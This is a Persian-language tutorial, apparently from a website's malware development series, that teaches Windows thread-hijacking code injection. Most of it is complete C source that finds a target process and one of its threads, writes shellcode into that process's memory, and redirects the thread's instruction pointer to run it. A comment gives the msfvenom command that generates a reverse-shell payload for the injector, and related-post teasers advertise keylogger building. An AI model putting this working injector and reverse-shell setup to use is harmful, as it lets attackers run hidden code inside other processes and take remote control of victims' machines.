تزریق کد با تکنیک Thread Hijacking

Thread Hijacking in windows

نخ ها واحد های اجرایی در پروسه ها و در هر پروسه در حال اجرا ، حداقل یک نخ (Thread) اجرایی وجود دارد . یکی از روش های مرسوم تزریق کد به نام Thread Hijacking به این روش عمل میکند که بدافزار یکی از نخ های در حال اجرا در پروسه هدف را وادار به اجرای کد دلخواه میکند . این روش با تغییر مقدار ثبات EIP یا RIP در نخ مربوطه انجام میشود . همانطور که میدانید ثبات EIP (در معماری x86) یا RIP (در معماری x86-64) یک ثبات ۳۲ یا ۶۴ بیتی است که حاوی آدرس دستورالعمل بعدی در حافظه است که پردازنده اجرا خواهد کرد حال اگر ما مقدار این ثبات را طوری تغییر دهیم که به کد دلخواه ما اشاره کند در نتیجه دستورالعمل های بعدی که پردازنده اجرا خواهد کرد ، کد ما خواهد بود . 

مراحل کلی انجام Thread Hijacking

1 – ابتدا یک پروسه را به عنوان پروسه هدف انتخاب کرده و PID آن را بدست می آوریم .

۲ – فضای حافظه ای را در پروسه هدف Allocate کرده و shellcode دلخواهموان را در آن محوطه مینویسیم . 

۳ – نخ های پروسه هدف را سرشماری کرده و TID یکی از نخ های آن را بدست می آوریم (نخ های نیز مانند پروسه ها یک عدد منحصر به فرد مثل PID دارند که به آن TID میگوییم)

۴ – اجرای نخ مربوطه را موقتا متوقف میکنیم و Context آن  را دریافت میکنیم . Context یک نخ حاوی مقدار ثبات های CPU در آخرین لحظه از اجرای آن نخ است . 

۵ – مقدار ثبات آدرس دستورالعمل (EIP یا RIP) را در Context نخ تغییر میدهیم تا به آدرس shellcode نوشته شده در مرحله ۲ اشاره کند و نخ را که در مرحله قبل متوقف کرده بودیم را دوباره به ادامه اجرا میگذاریم . 

با طی کردن طی این ۵ مرحله یکی از نخ های پروسه به طور ناگهانی میان اجرای کد هایش تغییر مسیر میدهد و shellcode دلخواه ما را اجرا میکند . از آنجایی که مقدار ثبات EIP که آدرس دستورالعمل بعدی که قرار است اجرا شود را نگه میدارد را تغییر میدهیم ، پس از به اجرا گذاشتن نخ با ثبات تغییر یافته ، دستورالعمل بعدی که نخ اجرا خواهد کرد ، شروع shellcode ما خواهد بود .

پیاده سازی تابع پیدا کردن PID پروسه هدف

ابتدا به تابعی نیاز داریم تا PID مربوط به پروسه هدف را بر اساس اسم آن برای ما پیدا کند . مثلا اگر میخواهیم حمله را روی پروسه notepad پیاده کنیم ، به آن بگوییم notepad.exe و او به ما PID مربوط به notepad را برگرداند . این تابع را در پست “پیدا کردن PID بر اساس اسم پروسه در C” نیز نوشته بودیم و کامل آن را توضیح داده ایم. در صورت ابهام به پست مربوطه مراجعه نمایید . این تابع در ورودی اسم پروسه هدف را گرفته و در ورودی در غالب یک عدد ۴ بایتی PID آن را بر میگرداند :

int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

پیاده سازی تابع پیدا کردن یک نخ (Thread) برای تزریق در پروسه هدف برای 

پس از آن که PID پروسه هدف را بدست آوردیم نیاز داریم TID یکی از نخ های آن پروسه نیز بدست آورده تا عمل تغییر EIP (در ویندوز ۳۲ بیت) یا RIP (در ویندوز ۶۴ بیت) را در آن نخ انجام دهیم . تابع زیر اینکار را برای ما خواهد کرد. این تابع PID پروسه هدف را در ورودی گرفته و TID اولین نخ آن را به ما بر میگرداند . در پست “سرشماری اطلاعات با تابع CreateToolhelp32Snapshot” نحوه سرشماری نخ های یک پروسه را کامل توضیح داده ایم . در صورت ابهام به پست مربوطه مراجعه کنید .

DWORD findThreadInProcess (DWORD pid){
	DWORD result = 0;
	
	/* get snapshot of all threads in system */
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD , 0);
	
	THREADENTRY32 thread = { 0 };
	thread.dwSize = sizeof(THREADENTRY32);
	
	/* enumarating each thread of system */
	result = Thread32First(snapshot , &thread);
	
	while (result){
		
		/* check if this thread belongs to our target process 
			by checking its owner process ID */
		if (thread.th32OwnerProcessID == pid){
			/* this is our thread 🙂 */
			return thread.th32ThreadID;
		}
		result = Thread32Next(snapshot , &thread);
		
	}
		
	return 0;
	
}

پیاده سازی تزریق در تابع main

بالاخره بعد از تعریف دو تابع مورد نیاز در بالا حالا در تابع main برنامه عمل تزریق کد را طبق مراحل کلی که در بالا ذکر شد پیاده سازی میکنیم :

unsigned char shellcode[] = "<OUR SHELLCODE>";
int main (int argc , char ** argv){
	
	if (argc < 2){
		printf ("USAGE : %s <TARGET PROCESS NAME>\n" , argv[0]);
		return -1;
	}
	
	/* Obtaining PID of target process */
	DWORD pid = findMyProc(argv[1]);
	if (!pid){
		printf ("[-] I couldn't find %s\n" , argv[1]);
		return -1;
	}
	/* ******************************* */
	
	HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS , 0 , pid);
	
	/* allocating space for shellcode in target process */
	void *address = VirtualAllocEx(target_process , 0 , sizeof(shellcode) , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE);
	
	/* writing shellcode to allocated area in target process */
	DWORD written ;
	WriteProcessMemory(target_process , (void*)address , (void*)shellcode , sizeof(shellcode) , &written);
	printf ("[+] %d bytes of shellcode written in targert process\n" , written);
	
	
	/* Hijacking a thread inside target process */
	DWORD tid = findThreadInProcess (pid)	;
	printf("[+] PID : %d\n[+] TID : %d\n" ,pid ,  tid);
	
	HANDLE thread = OpenThread(THREAD_ALL_ACCESS , 0 , tid);
	
	SuspendThread(thread) ;
	
	/* getting context of thread in target process */
	CONTEXT context;
	context.ContextFlags = CONTEXT_FULL;
	GetThreadContext(thread , &context);

	/* change EIP to injected shellcode (for 32 bit windows) */
	context.Eip = (DWORD)address ;
	
	/* if we were on 64 bit windows :
	context.Rip = (DWORD_PTR)address;
	*/
	
	/* setting changed context to target thread */
	SetThreadContext(thread , &context);
	ResumeThread(thread);
	/* **************************************** */
	
	return 0 ;
}

ابتدا در خط اول یک shellcode دلخواه برای اجرا در نخ هدف تعریف کرده ایم . سپس با بهره گیری از توابع findMyProc و findThreadInProcess که در بالا تعریف کردیم ابتدا پروسه هدف را باز کرده سپس یکی از نخ های آن پروسه را با استفاده از تابع OpenThread باز کرده . بعد از آن در خط 34 نخ هدف را به وسیله تابع SuspendThread متوقف کرده و Context آن نخ را دریافت کردیم . برای دریافت Context یک نخ ابتدا باید یک ساختار CONTEXT تعریف کنیم (خط 37) سپس عضو ContextFlags را برابر CONTEXT_FULL قرار دهیم به این معنی که میخواهیم کل اطلاعات Context نخ را دریافت کنیم (خط 38) و در نهایت با فراخوانی  تابع GetThreadContext بر روی نخ مورد نظر ، Context آن را دریافت کنیم (خط 39).

در اینجا چون کد را برای سیستمی ۳۲ بیتی کامپایل میکنیم از دستور خط 42 برای تغییر مقدار Eip استفاده کرده ایم . اما اگر روی سیستم 64 بیت بودیم میتوانیم از دستور کامنت شده در خط 45 به جای آن استفاده کنیم که تنها تفاوت در این است که اسم ثبات آدرس دستورالعمل متفاوت است .

نهایتا بعد از این جریانات Context تغییر یافته را روی نخ اعمال کرده ایم‌(خط  49) و نخ مورد نظر را به ادامه اجرا گذاشته ایم (خط 50) . 

کد منبع کامل

کد منبع کامل حمله Thread Hijacking و تصویر اجرای آن روی یک ویندوز ۳۲ بیتی با استفاده از یک shellcode از نوع shell_reverse_tcp :

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>

unsigned char shellcode[] = "SHELL REVERSE TCP SHELLCODE";
/* shellcode is generated using :
	msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c -o shellcode.c
*/

int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

DWORD findThreadInProcess (DWORD pid){
	DWORD result = 0;
	
	/* get snapshot of all threads in system */
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD , 0);
	
	THREADENTRY32 thread = { 0 };
	thread.dwSize = sizeof(THREADENTRY32);
	
	/* enumarating each thread of system */
	result = Thread32First(snapshot , &thread);
	
	while (result){
		
		/* check if this thread belongs to our target process 
			by checking its owner process ID */
		if (thread.th32OwnerProcessID == pid){
			/* this is our thread 🙂 */
			return thread.th32ThreadID;
		}
		result = Thread32Next(snapshot , &thread);
		
	}
		
	return 0;
	
}


int main (int argc , char ** argv){
	
	if (argc < 2){
		printf ("USAGE : %s <TARGET PROCESS NAME>\n" , argv[0]);
		return -1;
	}
	
	/* Obtaining PID of target process */
	DWORD pid = findMyProc(argv[1]);
	if (!pid){
		printf ("[-] I couldn't find %s\n" , argv[1]);
		return -1;
	}
	/* ******************************* */
	
	HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS , 0 , pid);
	
	/* allocating space for shellcode in target process */
	void *address = VirtualAllocEx(target_process , 0 , sizeof(shellcode) , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE);
	
	/* writing shellcode to allocated area in target process */
	DWORD written ;
	WriteProcessMemory(target_process , (void*)address , (void*)shellcode , sizeof(shellcode) , &written);
	printf ("[+] %d bytes of shellcode written in targert process\n" , written);
	
	
	/* Hijacking a thread inside target process */
	DWORD tid = findThreadInProcess (pid)	;
	printf("[+] PID : %d\n[+] TID : %d\n" ,pid ,  tid);
	
	HANDLE thread = OpenThread(THREAD_ALL_ACCESS , 0 , tid);
	
	SuspendThread(thread) ;
	
	/* getting context of thread in target process */
	CONTEXT context;
	context.ContextFlags = CONTEXT_FULL;
	GetThreadContext(thread , &context);

	/* change EIP to injected shellcode (for 32 bit windows) */
	context.Eip = (DWORD)address ;
	
	/* if we were on 64 bit windows :
	context.Rip = (DWORD_PTR)address;
	*/
	
	/* setting changed context to target thread */
	SetThreadContext(thread , &context);
	ResumeThread(thread);
	/* **************************************** */
	
	return 0 ;
}
running of thread hijacker on windows xp

این آموزش متعلق به بخش توسعه بدافزار است

برای مشاهده تمام آموزش های توسعه بدافزار وبسایت مسترپایتون به بخش توسعه بدافزار مراجعه کنید

پست های مرتبط

مطالعه این پست ها رو از دست ندین!
CreateToolhelp32Snapshot

سرشماری اطلاعات با تابع CreateToolhelp32Snapshot

برای پیاده سازی بسیاری از حملات تزریق کد در توسعه بدافزار ها ، نیاز داریم تا Process ها , Thread ها یا ماژول های یک پروسه در سیستم عامل ویندوز را سرشماری کنیم . تابع CreateToolhelp32Snapshot به ما اجازه میدهد تا اینگونه موارد و حافظه های Heap موجود در سیستم ویندوزی را سرشماری کنیم .در این پست چگونگی استفاده از این تابع برای این منظور را یاد خواهیم گرفت و در حملات آینده از آن استفاده خواهیم کرد .

بیشتر بخوانید
C Socket Programming

برنامه نویسی سوکت در زبان C

برنامه نویسی سوکت یا با اصطلاح سوکت نویسی (Socket Programming) در هر زبان برنامه نویسی به شما اجازه میدهد تا کار های شبکه ای مثل ارسال و دریافت داده در شبکه را انجام بدهید . از این رو در پروژه هایی که نیاز به ارتباطات شبکه ای دارید (ساخت یک سرور ، دانلود یک فایل ، ارسال اطلاعات به یک سرور و …) سوکت ها یار و یاور شما هستند .

در این مجموعه قصد داریم تا سوکت نویسی در زبان C را به صورت ویدیویی به شما آموزش بدهیم . این مجموعه به دو بخش تقسیم شده است . در بخش اول سوکت نویسی زبان C در سیستم عامل لینوکس و در بخش دوم در سیستم عامل ویندوز را بررسی میکنیم .

بیشتر بخوانید

ساخت KeyLogger ویندوزی با استفاده از Hooking

در این قسمت به بررسی یکی دیگر از روش های مرسوم ساخت کیلاگر های ویندوزی خواهیم پرداخت . اگر مشاهده کرده باشید در یکی از ویدیو های قبلی بررسی کردیم یکی از روش های ساخت کیلاگر استفاده از تابع GetAsyncKeyState بود . در این روش از مکانیزم Hooking ویندوز برای ساخت کیلاگر استفاده میکنیم .

بیشتر بخوانید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *